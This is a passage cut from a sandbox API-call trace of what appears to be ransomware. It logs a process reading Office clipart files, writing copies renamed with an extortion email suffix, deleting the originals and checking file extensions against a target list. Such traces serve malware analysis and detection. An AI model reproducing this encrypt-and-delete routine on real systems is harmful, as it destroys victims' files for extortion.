lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0084.724] WriteFile (in: hFile=0x338, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0084.724] SetEndOfFile (hFile=0x338) returned 1 [0084.724] CloseHandle (hObject=0x338) returned 1 [0084.724] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.724] SetEndOfFile (hFile=0x39c) returned 1 [0084.725] CloseHandle (hObject=0x39c) returned 1 [0084.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0084.725] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 1 [0084.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0084.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0084.726] lstrlenW (lpString=".doc") returned 4 [0084.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.726] lstrlenW (lpString=".docx") returned 5 [0084.726] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.726] lstrlenW (lpString=".pdf") returned 4 [0084.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.726] lstrlenW (lpString=".xls") returned 4 [0084.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.726] lstrlenW (lpString=".xlsx") returned 5 [0084.726] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.726] lstrlenW (lpString=".ppt") returned 4 [0084.726] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0084.726] lstrlenW (lpString=".zip") returned 4 [0084.726] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.726] lstrlenW (lpString=".rar") returned 4 [0084.726] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.726] lstrlenW (lpString=".bz2") returned 4 [0084.726] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.726] lstrlenW (lpString=".7z") returned 3 [0084.726] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0084.726] lstrlenW (lpString=".dbf") returned 4 [0084.726] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0084.726] lstrlenW (lpString=".1cd") returned 4 [0084.726] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0084.726] lstrlenW (lpString=".jpg") returned 4 [0084.726] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0084.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0084.727] lstrlenW (lpString=".doc") returned 4 [0084.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.727] lstrlenW (lpString=".docx") returned 5 [0084.727] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.727] lstrlenW (lpString=".pdf") returned 4 [0084.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.727] lstrlenW (lpString=".xls") returned 4 [0084.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.727] lstrlenW (lpString=".xlsx") returned 5 [0084.727] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.727] lstrlenW (lpString=".ppt") returned 4 [0084.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0084.727] lstrlenW (lpString=".zip") returned 4 [0084.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.727] lstrlenW (lpString=".rar") returned 4 [0084.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.727] lstrlenW (lpString=".bz2") returned 4 [0084.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.727] lstrlenW (lpString=".7z") returned 3 [0084.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0084.727] lstrlenW (lpString=".dbf") returned 4 [0084.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0084.727] lstrlenW (lpString=".1cd") returned 4 [0084.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0084.727] lstrlenW (lpString=".jpg") returned 4 [0084.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.728] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0084.728] lstrlenW (lpString="DD01181_.WMF") returned 12 [0084.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0084.728] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=1448) returned 1 [0084.728] CloseHandle (hObject=0x39c) returned 1 [0085.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x220 [0085.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0085.637] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.637] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0085.638] GetLastError () returned 0x0 [0085.638] ReadFile (in: hFile=0x308, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x5a8, lpOverlapped=0x0) returned 1 [0085.640] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x5b0, lpOverlapped=0x0) returned 1 [0085.641] ReadFile (in: hFile=0x308, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0085.641] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0085.641] SetEndOfFile (hFile=0x384) returned 1 [0085.641] CloseHandle (hObject=0x384) returned 1 [0085.641] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.641] SetEndOfFile (hFile=0x308) returned 1 [0085.642] CloseHandle (hObject=0x308) returned 1 [0085.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0085.642] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 1 [0085.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0085.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0085.643] lstrlenW (lpString=".doc") returned 4 [0085.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.643] lstrlenW (lpString=".docx") returned 5 [0085.643] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.643] lstrlenW (lpString=".pdf") returned 4 [0085.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.643] lstrlenW (lpString=".xls") returned 4 [0085.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.643] lstrlenW (lpString=".xlsx") returned 5 [0085.643] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.643] lstrlenW (lpString=".ppt") returned 4 [0085.643] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0085.643] lstrlenW (lpString=".zip") returned 4 [0085.643] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.643] lstrlenW (lpString=".rar") returned 4 [0085.643] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.643] lstrlenW (lpString=".bz2") returned 4 [0085.643] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.643] lstrlenW (lpString=".7z") returned 3 [0085.643] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0085.643] lstrlenW (lpString=".dbf") returned 4 [0085.643] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0085.643] lstrlenW (lpString=".1cd") returned 4 [0085.643] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0085.644] lstrlenW (lpString=".jpg") returned 4 [0085.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0085.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0085.644] lstrlenW (lpString=".doc") returned 4 [0085.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.644] lstrlenW (lpString=".docx") returned 5 [0085.644] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.644] lstrlenW (lpString=".pdf") returned 4 [0085.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.644] lstrlenW (lpString=".xls") returned 4 [0085.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.644] lstrlenW (lpString=".xlsx") returned 5 [0085.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.644] lstrlenW (lpString=".ppt") returned 4 [0085.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0085.644] lstrlenW (lpString=".zip") returned 4 [0085.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.644] lstrlenW (lpString=".rar") returned 4 [0085.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.644] lstrlenW (lpString=".bz2") returned 4 [0085.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.644] lstrlenW (lpString=".7z") returned 3 [0085.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0085.644] lstrlenW (lpString=".dbf") returned 4 [0085.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0085.644] lstrlenW (lpString=".1cd") returned 4 [0085.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0085.644] lstrlenW (lpString=".jpg") returned 4 [0085.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.645] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0085.645] lstrlenW (lpString="DD01631_.WMF") returned 12 [0085.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0085.648] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=552) returned 1 [0085.648] CloseHandle (hObject=0x308) returned 1 [0085.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x220 [0085.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0085.649] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.649] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0085.649] GetLastError () returned 0x0 [0085.649] ReadFile (in: hFile=0x308, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x228, lpOverlapped=0x0) returned 1 [0085.650] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x230, lpOverlapped=0x0) returned 1 [0085.651] ReadFile (in: hFile=0x308, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0085.651] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0085.651] SetEndOfFile (hFile=0x384) returned 1 [0085.651] CloseHandle (hObject=0x384) returned 1 [0085.652] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.652] SetEndOfFile (hFile=0x308) returned 1 [0085.652] CloseHandle (hObject=0x308) returned 1 [0085.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0085.653] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 1 [0085.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0085.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0085.653] lstrlenW (lpString=".doc") returned 4 [0085.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.653] lstrlenW (lpString=".docx") returned 5 [0085.653] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.653] lstrlenW (lpString=".pdf") returned 4 [0085.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.653] lstrlenW (lpString=".xls") returned 4 [0085.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.653] lstrlenW (lpString=".xlsx") returned 5 [0085.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.653] lstrlenW (lpString=".ppt") returned 4 [0085.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0085.653] lstrlenW (lpString=".zip") returned 4 [0085.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.653] lstrlenW (lpString=".rar") returned 4 [0085.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.653] lstrlenW (lpString=".bz2") returned 4 [0085.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.654] lstrlenW (lpString=".7z") returned 3 [0085.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0085.654] lstrlenW (lpString=".dbf") returned 4 [0085.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0085.654] lstrlenW (lpString=".1cd") returned 4 [0085.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0085.654] lstrlenW (lpString=".jpg") returned 4 [0085.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0085.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0085.654] lstrlenW (lpString=".doc") returned 4 [0085.654] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0085.654] lstrlenW (lpString=".docx") returned 5 [0085.654] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0085.654] lstrlenW (lpString=".pdf") returned 4 [0085.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0085.654] lstrlenW (lpString=".xls") returned 4 [0085.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0085.654] lstrlenW (lpString=".xlsx") returned 5 [0085.654] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0085.654] lstrlenW (lpString=".ppt") returned 4 [0085.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0085.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0085.654] lstrlenW (lpString=".zip") returned 4 [0085.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0085.654] lstrlenW (lpString=".rar") returned 4 [0085.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0085.654] lstrlenW (lpString=".bz2") returned 4 [0085.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0085.654] lstrlenW (lpString=".7z") returned 3 [0085.655] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0085.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0085.655] lstrlenW (lpString=".dbf") returned 4 [0085.655] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0085.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0085.655] lstrlenW (lpString=".1cd") returned 4 [0085.655] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0085.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0085.655] lstrlenW (lpString=".jpg") returned 4 [0085.655] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0085.655] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0085.655] lstrlenW (lpString="DD01761_.WMF") returned 12 [0085.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0085.655] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=4148) returned 1 [0085.655] CloseHandle (hObject=0x308) returned 1 [0085.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x220 [0085.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0085.656] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.656] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0085.656] GetLastError () returned 0x0 [0085.656] ReadFile (in: hFile=0x308, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x1034, lpOverlapped=0x0) returned 1 [0085.658] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x1040, lpOverlapped=0x0) returned 1 [0085.659] ReadFile (in: hFile=0x308, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0085.659] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0085.659] SetEndOfFile (hFile=0x384) returned 1 